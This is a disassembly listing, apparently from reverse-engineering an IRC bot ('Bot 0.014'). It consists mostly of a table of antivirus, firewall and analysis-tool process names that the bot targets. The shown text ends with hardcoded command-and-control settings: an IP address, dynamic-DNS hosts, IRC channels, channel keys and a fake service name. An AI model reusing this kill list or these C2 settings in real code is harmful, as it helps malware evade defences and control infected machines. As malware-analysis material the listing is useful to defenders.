"DPF.EXE" dd offset aDpfsetup_exe ; "DPFSETUP.EXE" dd offset aDpps2_exe ; "DPPS2.EXE" dd offset aDrwatson_exe ; "DRWATSON.EXE" dd offset aDrweb32_exe ; "DRWEB32.EXE" dd offset aDrwebupw_exe ; "DRWEBUPW.EXE" dd offset aDssagent_exe ; "DSSAGENT.EXE" dd offset aDvp95_exe ; "DVP95.EXE" dd offset aDvp95_0_exe ; "DVP95_0.EXE" dd offset aEcengine_exe ; "ECENGINE.EXE" dd offset aEfpeadm_exe ; "EFPEADM.EXE" dd offset aEmsw_exe ; "EMSW.EXE" dd offset aEnt_exe ; "ENT.EXE" dd offset aEsafe_exe ; "ESAFE.EXE" dd offset aEscanh95_exe ; "ESCANH95.EXE" dd offset aEscanhnt_exe ; "ESCANHNT.EXE" dd offset aEscanv95_exe ; "ESCANV95.EXE" dd offset aEspwatch_exe ; "ESPWATCH.EXE" dd offset aEthereal_exe ; "ETHEREAL.EXE" dd offset aEtrustcipe_exe ; "ETRUSTCIPE.EXE" dd offset aEvpn_exe ; "EVPN.EXE" dd offset aExantivirusCne ; "EXANTIVIRUS-CNET.EXE" dd offset aExe_avxw_exe ; "EXE.AVXW.EXE" dd offset aExpert_exe ; "EXPERT.EXE" dd offset aExplore_exe ; "EXPLORE.EXE" dd offset aFAgnt95_exe ; "F-AGNT95.EXE" dd offset aFProt_exe ; "F-PROT.EXE" dd offset aFProt95_exe ; "F-PROT95.EXE" dd offset aFStopw_exe ; "F-STOPW.EXE" dd offset aFameh32_exe ; "FAMEH32.EXE" dd offset aFast_exe ; "FAST.EXE" dd offset aFch32_exe ; "FCH32.EXE" dd offset aFih32_exe ; "FIH32.EXE" dd offset aFindviru_exe ; "FINDVIRU.EXE" dd offset aFirewall_exe ; "FIREWALL.EXE" dd offset aFlowprotector_ ; "FLOWPROTECTOR.EXE" dd offset aFnrb32_exe ; "FNRB32.EXE" dd offset aFpWin_exe ; "FP-WIN.EXE" dd offset aFpWin_trial_ex ; "FP-WIN_TRIAL.EXE" dd offset aFprot_exe ; "FPROT.EXE" dd offset aFrw_exe ; "FRW.EXE" dd offset aFsaa_exe ; "FSAA.EXE" dd offset aFsav_exe ; "FSAV.EXE" dd offset aFsav32_exe ; "FSAV32.EXE" dd offset aFsav530stbyb_e ; "FSAV530STBYB.EXE" dd offset aFsav530wtbyb_e ; "FSAV530WTBYB.EXE" dd offset aFsav95_exe ; "FSAV95.EXE" dd offset aFsgk32_exe ; "FSGK32.EXE" dd offset aFsm32_exe ; "FSM32.EXE" dd offset aFsma32_exe ; "FSMA32.EXE" dd offset aFsmb32_exe ; "FSMB32.EXE" dd offset aGator_exe ; "GATOR.EXE" dd offset aGbmenu_exe ; "GBMENU.EXE" dd offset aGbpoll_exe ; "GBPOLL.EXE" dd offset aGenerics_exe ; "GENERICS.EXE" dd offset aGmt_exe ; "GMT.EXE" dd offset aGuard_exe ; "GUARD.EXE" dd offset aGuarddog_exe ; "GUARDDOG.EXE" dd offset aHacktracersetu ; "HACKTRACERSETUP.EXE" dd offset aHbinst_exe ; "HBINST.EXE" dd offset aHbsrv_exe ; "HBSRV.EXE" dd offset aHotactio_exe ; "HOTACTIO.EXE" dd offset aHotpatch_exe ; "HOTPATCH.EXE" dd offset aHtlog_exe ; "HTLOG.EXE" dd offset aHtpatch_exe ; "HTPATCH.EXE" dd offset aHwpe_exe ; "HWPE.EXE" dd offset aHxdl_exe ; "HXDL.EXE" dd offset aHxiul_exe ; "HXIUL.EXE" dd offset aIamapp_exe ; "IAMAPP.EXE" dd offset aIamserv_exe ; "IAMSERV.EXE" dd offset aIamstats_exe ; "IAMSTATS.EXE" dd offset aIbmasn_exe ; "IBMASN.EXE" dd offset aIbmavsp_exe ; "IBMAVSP.EXE" dd offset aIcload95_exe ; "ICLOAD95.EXE" dd offset aIcloadnt_exe ; "ICLOADNT.EXE" dd offset aIcmon_exe ; "ICMON.EXE" dd offset aIcsupp95_exe ; "ICSUPP95.EXE" dd offset aIcsupp95_exe ; "ICSUPP95.EXE" dd offset aIcsuppnt_exe ; "ICSUPPNT.EXE" dd offset aIdle_exe ; "IDLE.EXE" dd offset aIedll_exe ; "IEDLL.EXE" dd offset aIedriver_exe ; "IEDRIVER.EXE" dd offset aIexplorer_exe ; "IEXPLORER.EXE" dd offset aIface_exe ; "IFACE.EXE" dd offset aIfw2000_exe ; "IFW2000.EXE" dd offset aInetlnfo_exe ; "INETLNFO.EXE" dd offset aInfus_exe ; "INFUS.EXE" dd offset aInfwin_exe ; "INFWIN.EXE" dd offset aInit_exe ; "INIT.EXE" dd offset aIntdel_exe ; "INTDEL.EXE" dd offset aIntren_exe ; "INTREN.EXE" dd offset aIomon98_exe ; "IOMON98.EXE" dd offset aIparmor_exe ; "IPARMOR.EXE" dd offset aIris_exe ; "IRIS.EXE" dd offset aIsass_exe ; "ISASS.EXE" dd offset aIsrv95_exe ; "ISRV95.EXE" dd offset aIstsvc_exe ; "ISTSVC.EXE" dd offset aJammer_exe ; "JAMMER.EXE" dd offset aJdbgmrg_exe ; "JDBGMRG.EXE" dd offset aJedi_exe ; "JEDI.EXE" dd offset aKavlite40eng_e ; "KAVLITE40ENG.EXE" dd offset aKavpers40eng_e ; "KAVPERS40ENG.EXE" dd offset aKavpf_exe ; "KAVPF.EXE" dd offset aKazza_exe ; "KAZZA.EXE" dd offset aKeenvalue_exe ; "KEENVALUE.EXE" dd offset aKerioPf213EnWi ; "KERIO-PF-213-EN-WIN.EXE" dd offset aKerioWrl421EnW ; "KERIO-WRL-421-EN-WIN.EXE" dd offset aKerioWrp421EnW ; "KERIO-WRP-421-EN-WIN.EXE" dd offset aKernel32_exe ; "KERNEL32.EXE" dd offset aKillprocessset ; "KILLPROCESSSETUP161.EXE" dd offset aLauncher_exe ; "LAUNCHER.EXE" dd offset aLdnetmon_exe ; "LDNETMON.EXE" dd offset aLdpro_exe ; "LDPRO.EXE" dd offset aLdpromenu_exe ; "LDPROMENU.EXE" dd offset aLdscan_exe ; "LDSCAN.EXE" dd offset aLnetinfo_exe ; "LNETINFO.EXE" dd offset aLoader_exe ; "LOADER.EXE" dd offset aLocalnet_exe ; "LOCALNET.EXE" dd offset aLockdown_exe ; "LOCKDOWN.EXE" dd offset aLockdown2000_e ; "LOCKDOWN2000.EXE" dd offset aLookout_exe ; "LOOKOUT.EXE" dd offset aLordpe_exe ; "LORDPE.EXE" dd offset aLsetup_exe ; "LSETUP.EXE" dd offset aLuall_exe ; "LUALL.EXE" dd offset aLuall_exe ; "LUALL.EXE" dd offset aLuau_exe ; "LUAU.EXE" dd offset aLucomserver_ex ; "LUCOMSERVER.EXE" dd offset aLuinit_exe ; "LUINIT.EXE" dd offset aLuspt_exe ; "LUSPT.EXE" dd offset aMapisvc32_exe ; "MAPISVC32.EXE" dd offset aMcagent_exe ; "MCAGENT.EXE" dd offset aMcmnhdlr_exe ; "MCMNHDLR.EXE" dd offset aMcshield_exe ; "MCSHIELD.EXE" dd offset aMctool_exe ; "MCTOOL.EXE" dd offset aMcupdate_exe ; "MCUPDATE.EXE" dd offset aMcupdate_exe ; "MCUPDATE.EXE" dd offset aMcvsrte_exe ; "MCVSRTE.EXE" dd offset aMcvsshld_exe ; "MCVSSHLD.EXE" dd offset aMd_exe ; "MD.EXE" dd offset aMfin32_exe ; "MFIN32.EXE" dd offset aMfw2en_exe ; "MFW2EN.EXE" dd offset aMfweng3_02d30_ ; "MFWENG3.02D30.EXE" dd offset aMgavrtcl_exe ; "MGAVRTCL.EXE" dd offset aMgavrte_exe ; "MGAVRTE.EXE" dd offset aMghtml_exe ; "MGHTML.EXE" dd offset aMgui_exe ; "MGUI.EXE" dd offset aMinilog_exe ; "MINILOG.EXE" dd offset aMmod_exe ; "MMOD.EXE" dd offset aMonitor_exe ; "MONITOR.EXE" dd offset aMoolive_exe ; "MOOLIVE.EXE" dd offset aMostat_exe ; "MOSTAT.EXE" dd offset aMpfagent_exe ; "MPFAGENT.EXE" dd offset aMpfservice_exe ; "MPFSERVICE.EXE" dd offset aMpftray_exe ; "MPFTRAY.EXE" dd offset aMrflux_exe ; "MRFLUX.EXE" dd offset aMsapp_exe ; "MSAPP.EXE" dd offset aMsbb_exe ; "MSBB.EXE" dd offset aMsblast_exe ; "MSBLAST.EXE" dd offset aMscache_exe ; "MSCACHE.EXE" dd offset aMsccn32_exe ; "MSCCN32.EXE" dd offset aMscman_exe ; "MSCMAN.EXE" dd offset aMsconfig_exe_0 ; "MSCONFIG.EXE" dd offset aMsdm_exe ; "MSDM.EXE" dd offset aMsdos_exe ; "MSDOS.EXE" dd offset aMsiexec16_exe ; "MSIEXEC16.EXE" dd offset aMsinfo32_exe ; "MSINFO32.EXE" dd offset aMslaugh_exe ; "MSLAUGH.EXE" dd offset aMsmgt_exe ; "MSMGT.EXE" dd offset aMsmsgri32_exe ; "MSMSGRI32.EXE" dd offset aMssmmc32_exe ; "MSSMMC32.EXE" dd offset aMssys_exe ; "MSSYS.EXE" dd offset aMsvxd_exe ; "MSVXD.EXE" dd offset aMu0311ad_exe ; "MU0311AD.EXE" dd offset aMwatch_exe ; "MWATCH.EXE" dd offset aN32scanw_exe ; "N32SCANW.EXE" dd offset aNav_exe ; "NAV.EXE" dd offset aAutoProtect_na ; "AUTO-PROTECT.NAV80TRY.EXE" dd offset aNavap_navapsvc ; "NAVAP.NAVAPSVC.EXE" dd offset aNavapsvc_exe ; "NAVAPSVC.EXE" dd offset aNavapw32_exe ; "NAVAPW32.EXE" dd offset aNavdx_exe ; "NAVDX.EXE" dd offset aNavengnavex15_ ; "NAVENGNAVEX15.NAVLU32.EXE" dd offset aNavlu32_exe ; "NAVLU32.EXE" dd offset aNavnt_exe ; "NAVNT.EXE" dd offset aNavstub_exe ; "NAVSTUB.EXE" dd offset aNavw32_exe ; "NAVW32.EXE" dd offset aNavwnt_exe ; "NAVWNT.EXE" dd offset aNc2000_exe ; "NC2000.EXE" dd offset aNcinst4_exe ; "NCINST4.EXE" dd offset aNdd32_exe ; "NDD32.EXE" dd offset aNeomonitor_exe ; "NEOMONITOR.EXE" dd offset aNeowatchlog_ex ; "NEOWATCHLOG.EXE" dd offset aNetarmor_exe ; "NETARMOR.EXE" dd offset aNetd32_exe ; "NETD32.EXE" dd offset aNetinfo_exe ; "NETINFO.EXE" dd offset aNetmon_exe ; "NETMON.EXE" dd offset aNetscanpro_exe ; "NETSCANPRO.EXE" dd offset aNetspyhunter1_ ; "NETSPYHUNTER-1.2.EXE" dd offset aNetstat_exe ; "NETSTAT.EXE" dd offset aNetutils_exe ; "NETUTILS.EXE" dd offset aNisserv_exe ; "NISSERV.EXE" dd offset aNisum_exe ; "NISUM.EXE" dd offset aNmain_exe ; "NMAIN.EXE" dd offset aNod32_exe ; "NOD32.EXE" dd offset aNormist_exe ; "NORMIST.EXE" dd offset aNorton_interne ; "NORTON_INTERNET_SECU_3.0_407.EXE" dd offset aNotstart_exe ; "NOTSTART.EXE" dd offset aNpf40_tw_98_nt ; "NPF40_TW_98_NT_ME_2K.EXE" dd offset aNpfmessenger_e ; "NPFMESSENGER.EXE" dd offset aNprotect_exe ; "NPROTECT.EXE" dd offset aNpscheck_exe ; "NPSCHECK.EXE" dd offset aNpssvc_exe ; "NPSSVC.EXE" dd offset aNsched32_exe ; "NSCHED32.EXE" dd offset aNssys32_exe ; "NSSYS32.EXE" dd offset aNstask32_exe ; "NSTASK32.EXE" dd offset aNsupdate_exe ; "NSUPDATE.EXE" dd offset aNt_exe ; "NT.EXE" dd offset aNtrtscan_exe ; "NTRTSCAN.EXE" dd offset aNtvdm_exe ; "NTVDM.EXE" dd offset aNtxconfig_exe ; "NTXconfig.EXE" dd offset aNui_exe ; "NUI.EXE" dd offset aNupgrade_exe ; "NUPGRADE.EXE" dd offset aNupgrade_exe ; "NUPGRADE.EXE" dd offset aNvarch16_exe ; "NVARCH16.EXE" dd offset aNvc95_exe ; "NVC95.EXE" dd offset aNvsvc32_exe ; "NVSVC32.EXE" dd offset aNwinst4_exe ; "NWINST4.EXE" dd offset aNwservice_exe ; "NWSERVICE.EXE" dd offset aNwtool16_exe ; "NWTOOL16.EXE" dd offset aOllydbg_exe ; "OLLYDBG.EXE" dd offset aOnsrvr_exe ; "ONSRVR.EXE" dd offset aOptimize_exe ; "OPTIMIZE.EXE" dd offset aOstronet_exe ; "OSTRONET.EXE" dd offset aOtfix_exe ; "OTFIX.EXE" dd offset aOutpost_exe ; "OUTPOST.EXE" dd offset aOutpost_exe ; "OUTPOST.EXE" dd offset aOutpostinstall ; "OUTPOSTINSTALL.EXE" dd offset aOutpostproinst ; "OUTPOSTPROINSTALL.EXE" dd offset aPadmin_exe ; "PADMIN.EXE" dd offset aPanixk_exe ; "PANIXK.EXE" dd offset aPatch_exe ; "PATCH.EXE" dd offset aPavcl_exe ; "PAVCL.EXE" dd offset aPavproxy_exe ; "PAVPROXY.EXE" dd offset aPavsched_exe ; "PAVSCHED.EXE" dd offset aPavw_exe ; "PAVW.EXE" dd offset aPcc2002s902_ex ; "PCC2002S902.EXE" dd offset aPcc2k_76_1436_ ; "PCC2K_76_1436.EXE" dd offset aPcciomon_exe ; "PCCIOMON.EXE" dd offset aPccntmon_exe ; "PCCNTMON.EXE" dd offset aPccwin97_exe ; "PCCWIN97.EXE" dd offset aPccwin98_exe ; "PCCWIN98.EXE" dd offset aPcdsetup_exe ; "PCDSETUP.EXE" dd offset aPcfwallicon_ex ; "PCFWALLICON.EXE" dd offset aPcip10117_0_ex ; "PCIP10117_0.EXE" dd offset aPcscan_exe ; "PCSCAN.EXE" dd offset aPdsetup_exe ; "PDSETUP.EXE" dd offset aPenis_exe ; "PENIS.EXE" dd offset aPeriscope_exe ; "PERISCOPE.EXE" dd offset aPersfw_exe ; "PERSFW.EXE" dd offset aPerswf_exe ; "PERSWF.EXE" dd offset aPf2_exe ; "PF2.EXE" dd offset aPfwadmin_exe ; "PFWADMIN.EXE" dd offset aPgmonitr_exe ; "PGMONITR.EXE" dd offset aPingscan_exe ; "PINGSCAN.EXE" dd offset aPlatin_exe ; "PLATIN.EXE" dd offset aPop3trap_exe ; "POP3TRAP.EXE" dd offset aPoproxy_exe ; "POPROXY.EXE" dd offset aPopscan_exe ; "POPSCAN.EXE" dd offset aPortdetective_ ; "PORTDETECTIVE.EXE" dd offset aPortmonitor_ex ; "PORTMONITOR.EXE" dd offset aPowerscan_exe ; "POWERSCAN.EXE" dd offset aPpinupdt_exe ; "PPINUPDT.EXE" dd offset aPptbc_exe ; "PPTBC.EXE" dd offset aPpvstop_exe ; "PPVSTOP.EXE" dd offset aPrizesurfer_ex ; "PRIZESURFER.EXE" dd offset aPrmt_exe ; "PRMT.EXE" dd offset aPrmvr_exe ; "PRMVR.EXE" dd offset aProcdump_exe ; "PROCDUMP.EXE" dd offset aProcessmonitor ; "PROCESSMONITOR.EXE" dd offset aProcexplorerv1 ; "PROCEXPLORERV1.0.EXE" dd offset aProgramauditor ; "PROGRAMAUDITOR.EXE" dd offset aProport_exe ; "PROPORT.EXE" dd offset aProtectx_exe ; "PROTECTX.EXE" dd offset aPspf_exe ; "PSPF.EXE" dd offset aPurge_exe ; "PURGE.EXE" dd offset aPussy_exe ; "PUSSY.EXE" dd offset aPview95_exe ; "PVIEW95.EXE" dd offset aQconsole_exe ; "QCONSOLE.EXE" dd offset aQserver_exe ; "QSERVER.EXE" dd offset aRapapp_exe ; "RAPAPP.EXE" dd offset aRav7_exe ; "RAV7.EXE" dd offset aRav7win_exe ; "RAV7WIN.EXE" dd offset aRav8win32eng_e ; "RAV8WIN32ENG.EXE" dd offset aRay_exe ; "RAY.EXE" dd offset aRb32_exe ; "RB32.EXE" dd offset aRcsync_exe ; "RCSYNC.EXE" dd offset aRealmon_exe ; "REALMON.EXE" dd offset aReged_exe ; "REGED.EXE" dd offset aRegedit_exe ; "REGEDIT.EXE" dd offset aRegedt32_exe ; "REGEDT32.EXE" dd offset aRescue_exe ; "RESCUE.EXE" dd offset aRescue32_exe ; "RESCUE32.EXE" dd offset aRrguard_exe ; "RRGUARD.EXE" dd offset aRshell_exe ; "RSHELL.EXE" dd offset aRtvscan_exe ; "RTVSCAN.EXE" dd offset aRtvscn95_exe ; "RTVSCN95.EXE" dd offset aRulaunch_exe ; "RULAUNCH.EXE" dd offset aRun32dll_exe ; "RUN32DLL.EXE" dd offset aRundll_exe ; "RUNDLL.EXE" dd offset aRundll16_exe ; "RUNDLL16.EXE" dd offset aRuxdll32_exe ; "RUXDLL32.EXE" dd offset aSafeweb_exe ; "SAFEWEB.EXE" dd offset aSahagent_exe ; "SAHAGENT.EXE" dd offset aSave_exe ; "SAVE.EXE" dd offset aSavenow_exe ; "SAVENOW.EXE" dd offset aSbserv_exe ; "SBSERV.EXE" dd offset aSc_exe ; "SC.EXE" dd offset aScam32_exe ; "SCAM32.EXE" dd offset aScan32_exe ; "SCAN32.EXE" dd offset aScan95_exe ; "SCAN95.EXE" dd offset aScanpm_exe ; "SCANPM.EXE" dd offset aScrscan_exe ; "SCRSCAN.EXE" dd offset aScrsvr_exe ; "SCRSVR.EXE" dd offset aScvhost_exe ; "SCVHOST.EXE" dd offset aSd_exe ; "SD.EXE" dd offset aServ95_exe ; "SERV95.EXE" dd offset aService_exe ; "SERVICE.EXE" dd offset aServlce_exe ; "SERVLCE.EXE" dd offset aServlces_exe ; "SERVLCES.EXE" dd offset aSetupvameeval_ ; "SETUPVAMEEVAL.EXE" dd offset aSetup_flowprot ; "SETUP_FLOWPROTECTOR_US.EXE" dd offset aSfc_exe ; "SFC.EXE" dd offset aSgssfw32_exe ; "SGSSFW32.EXE" dd offset aSh_exe ; "SH.EXE" dd offset aShellspyinstal ; "SHELLSPYINSTALL.EXE" dd offset aShn_exe ; "SHN.EXE" dd offset aShowbehind_exe ; "SHOWBEHIND.EXE" dd offset aSmc_exe ; "SMC.EXE" dd offset aSms_exe ; "SMS.EXE" dd offset aSmss32_exe ; "SMSS32.EXE" dd offset aSoap_exe ; "SOAP.EXE" dd offset aSofi_exe ; "SOFI.EXE" dd offset aSperm_exe ; "SPERM.EXE" dd offset aSpf_exe ; "SPF.EXE" dd offset aSphinx_exe ; "SPHINX.EXE" dd offset aSpoler_exe ; "SPOLER.EXE" dd offset aSpoolcv_exe ; "SPOOLCV.EXE" dd offset aSpoolsv32_exe ; "SPOOLSV32.EXE" dd offset aSpyxx_exe ; "SPYXX.EXE" dd offset aSrexe_exe ; "SREXE.EXE" dd offset aSrng_exe ; "SRNG.EXE" dd offset aSs3edit_exe ; "SS3EDIT.EXE" dd offset aSsgrate_exe ; "SSGRATE.EXE" dd offset aSsg_4104_exe ; "SSG_4104.EXE" dd offset aSt2_exe ; "ST2.EXE" dd offset aStart_exe ; "START.EXE" dd offset aStcloader_exe ; "STCLOADER.EXE" dd offset aSupftrl_exe ; "SUPFTRL.EXE" dd offset aSupport_exe ; "SUPPORT.EXE" dd offset aSupporter5_exe ; "SUPPORTER5.EXE" dd offset aSvc_exe ; "SVC.EXE" dd offset aSvchostc_exe ; "SVCHOSTC.EXE" dd offset aSvchosts_exe ; "SVCHOSTS.EXE" dd offset aSvshost_exe ; "SVSHOST.EXE" dd offset aSvshost32_exe ; "SVSHOST32.EXE" dd offset aUpd32_exe ; "UPD32.EXE" dd offset aSweep95_exe ; "SWEEP95.EXE" dd offset aSweepnet_sweep ; "SWEEPNET.SWEEPSRV.SYS.SWNETSUP.EXE" dd offset aSymproxysvc_ex ; "SYMPROXYSVC.EXE" dd offset aSymtray_exe ; "SYMTRAY.EXE" dd offset aSysedit_exe ; "SYSEDIT.EXE" dd offset aSystem_exe ; "SYSTEM.EXE" dd offset aSystem32_exe ; "SYSTEM32.EXE" dd offset aSysupd_exe ; "SYSUPD.EXE" dd offset aTaskmg_exe ; "TASKMG.EXE" dd offset aTaskmo_exe ; "TASKMO.EXE" dd offset aTaskmon_exe ; "TASKMON.EXE" dd offset aTaumon_exe ; "TAUMON.EXE" dd offset aTbscan_exe ; "TBSCAN.EXE" dd offset aTc_exe ; "TC.EXE" dd offset aTca_exe ; "TCA.EXE" dd offset aTcm_exe ; "TCM.EXE" dd offset aTds3_exe ; "TDS-3.EXE" dd offset aTds298_exe ; "TDS2-98.EXE" dd offset aTds2Nt_exe ; "TDS2-NT.EXE" dd offset aTeekids_exe ; "TEEKIDS.EXE" dd offset aTfak_exe ; "TFAK.EXE" dd offset aTfak5_exe ; "TFAK5.EXE" dd offset aTgbob_exe ; "TGBOB.EXE" dd offset aTitanin_exe ; "TITANIN.EXE" dd offset aTitaninxp_exe ; "TITANINXP.EXE" dd offset aTracert_exe ; "TRACERT.EXE" dd offset aTrickler_exe ; "TRICKLER.EXE" dd offset aTrjscan_exe ; "TRJSCAN.EXE" dd offset aTrjsetup_exe ; "TRJSETUP.EXE" dd offset aTrojantrap3_ex ; "TROJANTRAP3.EXE" dd offset aTsadbot_exe ; "TSADBOT.EXE" dd offset aTvmd_exe ; "TVMD.EXE" dd offset aTvtmd_exe ; "TVTMD.EXE" dd offset aUndoboot_exe ; "UNDOBOOT.EXE" dd offset aUpdat_exe ; "UPDAT.EXE" dd offset aUpdate_exe ; "UPDATE.EXE" dd offset aUpdate_exe ; "UPDATE.EXE" dd offset aUpgrad_exe ; "UPGRAD.EXE" dd offset aUtpost_exe ; "UTPOST.EXE" dd offset aVbcmserv_exe ; "VBCMSERV.EXE" dd offset aVbcons_exe ; "VBCONS.EXE" dd offset aVbust_exe ; "VBUST.EXE" dd offset aVbwin9x_exe ; "VBWIN9X.EXE" dd offset aVbwinntw_exe ; "VBWINNTW.EXE" dd offset aVcsetup_exe ; "VCSETUP.EXE" dd offset aVet32_exe ; "VET32.EXE" dd offset aVet95_exe ; "VET95.EXE" dd offset aVettray_exe ; "VETTRAY.EXE" dd offset aVfsetup_exe ; "VFSETUP.EXE" dd offset aVirHelp_exe ; "VIR-HELP.EXE" dd offset aVirusmdpersona ; "VIRUSMDPERSONALFIREWALL.EXE" dd offset aVnlan300_exe ; "VNLAN300.EXE" dd offset aVnpc3000_exe ; "VNPC3000.EXE" dd offset aVpc32_exe ; "VPC32.EXE" dd offset aVpc42_exe ; "VPC42.EXE" dd offset aVpfw30s_exe ; "VPFW30S.EXE" dd offset aVptray_exe ; "VPTRAY.EXE" dd offset aVscan40_exe ; "VSCAN40.EXE" dd offset aVscenu6_02d30_ ; "VSCENU6.02D30.EXE" dd offset aVsched_exe ; "VSCHED.EXE" dd offset aVsecomr_exe ; "VSECOMR.EXE" dd offset aVshwin32_exe ; "VSHWIN32.EXE" dd offset aVsisetup_exe ; "VSISETUP.EXE" dd offset aVsmain_exe ; "VSMAIN.EXE" dd offset aVsmon_exe ; "VSMON.EXE" dd offset aVsstat_exe ; "VSSTAT.EXE" dd offset aVswin9xe_exe ; "VSWIN9XE.EXE" dd offset aVswinntse_exe ; "VSWINNTSE.EXE" dd offset aVswinperse_exe ; "VSWINPERSE.EXE" dd offset aW32dsm89_exe ; "W32DSM89.EXE" dd offset aW9x_exe ; "W9X.EXE" dd offset aWatchdog_exe ; "WATCHDOG.EXE" dd offset aWebdav_exe ; "WEBDAV.EXE" dd offset aWebscanx_exe ; "WEBSCANX.EXE" dd offset aWebtrap_exe ; "WEBTRAP.EXE" dd offset aWfindv32_exe ; "WFINDV32.EXE" dd offset aWgfe95_exe ; "WGFE95.EXE" dd offset aWhoswatchingme ; "WHOSWATCHINGME.EXE" dd offset aWimmun32_exe ; "WIMMUN32.EXE" dd offset aWinBugsfix_exe ; "WIN-BUGSFIX.EXE" dd offset aWin32_exe ; "WIN32.EXE" dd offset aWin32us_exe ; "WIN32US.EXE" dd offset aWinactive_exe ; "WINACTIVE.EXE" dd offset aWindow_exe ; "WINDOW.EXE" dd offset aWindows_exe ; "WINDOWS.EXE" dd offset aWininetd_exe ; "WININETD.EXE" dd offset aWininit_exe ; "WININIT.EXE" dd offset aWininitx_exe ; "WININITX.EXE" dd offset aWinlogin_exe ; "WINLOGIN.EXE" dd offset aWinmain_exe ; "WINMAIN.EXE" dd offset aWinnet_exe ; "WINNET.EXE" dd offset aWinppr32_exe ; "WINPPR32.EXE" dd offset aWinrecon_exe ; "WINRECON.EXE" dd offset aWinservn_exe ; "WINSERVN.EXE" dd offset aWinssk32_exe ; "WINSSK32.EXE" dd offset aWinstart_exe ; "WINSTART.EXE" dd offset aWinstart001_ex ; "WINSTART001.EXE" dd offset aWintsk32_exe ; "WINTSK32.EXE" dd offset aWinupdate_exe ; "WINUPDATE.EXE" dd offset aWkufind_exe ; "WKUFIND.EXE" dd offset aWnad_exe ; "WNAD.EXE" dd offset aWnt_exe ; "WNT.EXE" dd offset aWradmin_exe ; "WRADMIN.EXE" dd offset aWrctrl_exe ; "WRCTRL.EXE" dd offset aWsbgate_exe ; "WSBGATE.EXE" dd offset aWupdater_exe ; "WUPDATER.EXE" dd offset aWupdt_exe ; "WUPDT.EXE" dd offset aWyvernworksfir ; "WYVERNWORKSFIREWALL.EXE" dd offset aXpf202en_exe ; "XPF202EN.EXE" dd offset aZapro_exe ; "ZAPRO.EXE" dd offset aZapsetup3001_e ; "ZAPSETUP3001.EXE" dd offset aZatutor_exe ; "ZATUTOR.EXE" dd offset aZonalm2601_exe ; "ZONALM2601.EXE" dd offset aZonealarm_exe ; "ZONEALARM.EXE" dd offset a_avp32_exe ; "_AVP32.EXE" dd offset a_avpcc_exe ; "_AVPCC.EXE" dd offset a_avpm_exe ; "_AVPM.EXE" dd offset aHijackthis_exe ; "HIJACKTHIS.EXE" dd offset aFAgobot_exe ; "F-AGOBOT.EXE" dd offset aPandaavengine_ ; "PandaAVEngine.exe" dd offset aSysinfo_exe ; "sysinfo.exe" dd offset aMscvb32_exe ; "mscvb32.exe" dd offset aPenis32_exe ; "Penis32.exe" dd offset aBbeagle_exe ; "bbeagle.exe" dd offset aSysmonxp_exe ; "SysMonXP.exe" dd offset aWinupd_exe ; "winupd.exe" dd offset aWinsys_exe ; "winsys.exe" dd offset aSsate_exe ; "ssate.exe" dd offset aRate_exe ; "rate.exe" dd offset aD3dupdate_exe ; "d3dupdate.exe" dd offset aIrun4_exe ; "irun4.exe" dd offset aI11r54n4_exe ; "i11r54n4.exe" dd offset aMsconfig_exe ; "MsConfiG.exe" dd offset aWuanclt_exe ; "WUANCLT.EXE" dd offset aWuacrlt_exe ; "WUACRLT.EXE" dd offset aWruaclt_exe ; "WRUACLT.EXE" dd offset aWinssv_exe ; "winssv.exe" dd offset aScguard_exe ; "scguard.exe" dd offset aWuamgrd_exe ; "wuamgrd.exe" dd offset aBling_exe ; "bling.exe" dd offset aWinmp_exe ; "winmp.exe" dd offset aHass_exe ; "hass.exe" dword_42BEB0 dd 1BBh ; DATA XREF: sub_40E6BB+40Fr ; sub_40E6BB+4C2r dword_42BEB4 dd 1BBh ; DATA XREF: sub_40E6BB+50Er dword_42BEB8 dd 4DBh ; DATA XREF: sub_4089DC:loc_40D6B9r dword_42BEBC dd 45h ; DATA XREF: sub_401141+3Br ; sub_4089DC+41C2r dword_42BEC0 dd 4E20h ; DATA XREF: sub_401141:loc_40141Dr ; sub_4089DC:loc_40CC9Er dword_42BEC4 dd 201h ; DATA XREF: sub_4089DC:loc_40CE1Fr dword_42BEC8 dd 1 ; DATA XREF: sub_4089DC+73Er dword_42BECC dd 1 ; DATA XREF: sub_4069F7+Cr ; sub_40E6BB:loc_40E9EEr byte_42BED0 db 2Eh ; DATA XREF: sub_4025B1:loc_4025BDr ; sub_4089DC+7A4r ... align 4 dword_42BED4 dd 6 ; DATA XREF: sub_40F961+2Br ; sub_40F961+51r ... dword_42BED8 dd 1 ; DATA XREF: sub_40887D+39r ; sub_4089DC+25Dr ... dword_42BEDC dd 1 ; DATA XREF: sub_40887D+30r ; sub_4089DC+257r aBot014 db 'Bot014',0 ; DATA XREF: sub_4089DC+2F81o ; sub_4089DC:loc_40D539o ... align 4 aBot0_014 db '[Bot 0.014]',0 ; DATA XREF: sub_4089DC:loc_40D8BEo aN3m3s1s db 'n3m3s1s',0 ; DATA XREF: sub_4089DC+4869o ; sub_4089DC+5B28o ... a217_170_244_2 db '217.170.244.2',0 ; DATA XREF: sub_40E6BB+3FAo ; sub_40E6BB+4B3o align 4 aHell db '#hell',0 ; DATA XREF: sub_40E6BB+416o ; sub_40E6BB+4C9o align 4 aTroopers db 'troopers',0 ; DATA XREF: sub_40E6BB+42Do ; sub_40E6BB+4DBo align 10h byte_42BF20 db 70h ; DATA XREF: sub_40E6BB:loc_40EBACr ; sub_40E6BB+4FFo aAradise2005_ho db 'aradise2005.homeip.net',0 aHell_1 db '#hell',0 ; DATA XREF: sub_40E6BB+515o align 10h aTroopers_0 db 'troopers',0 ; DATA XREF: sub_40E6BB+527o align 4 byte_42BF4C db 6Dh ; DATA XREF: sub_401141:loc_4011A4o ; sub_401141+18Eo ... db 73h, 6Dh, 6Eh dd 33747261h, 78652E32h, 65h, 2E79656Bh, 747874h aNetworkHostSer db 'Network Host Service',0 ; DATA XREF: sub_40213F+Bo align 4 aSoul db '[SOUL]',0 ; DATA XREF: sub_40F961+12o align 4 aSysconfig_dat db 'sysconfig.dat',0 align 4 aIx db '+ix',0 ; DATA XREF: sub_4089DC+5CA7o aMurders db '#murders',0 ; DATA XREF: sub_4089DC+3F63o ; sub_4089DC+59A2o align 4 aHell_2 db '#hell',0 align 4 aSniffing db '#sniffing',0 align 4 off_42BFB8 dd offset a@celestial_org ; DATA XREF: sub_4089DC+5BA6r ; "*@celestial.org" off_42BFBC dd offset aMircV6_12Khale ; DATA XREF: sub_4089DC+923r ; "mIRC v6.12 Khaled Mardam-Bey" aParadise2005_h db 'paradise2005.homeftp.net',0 ; DATA XREF: 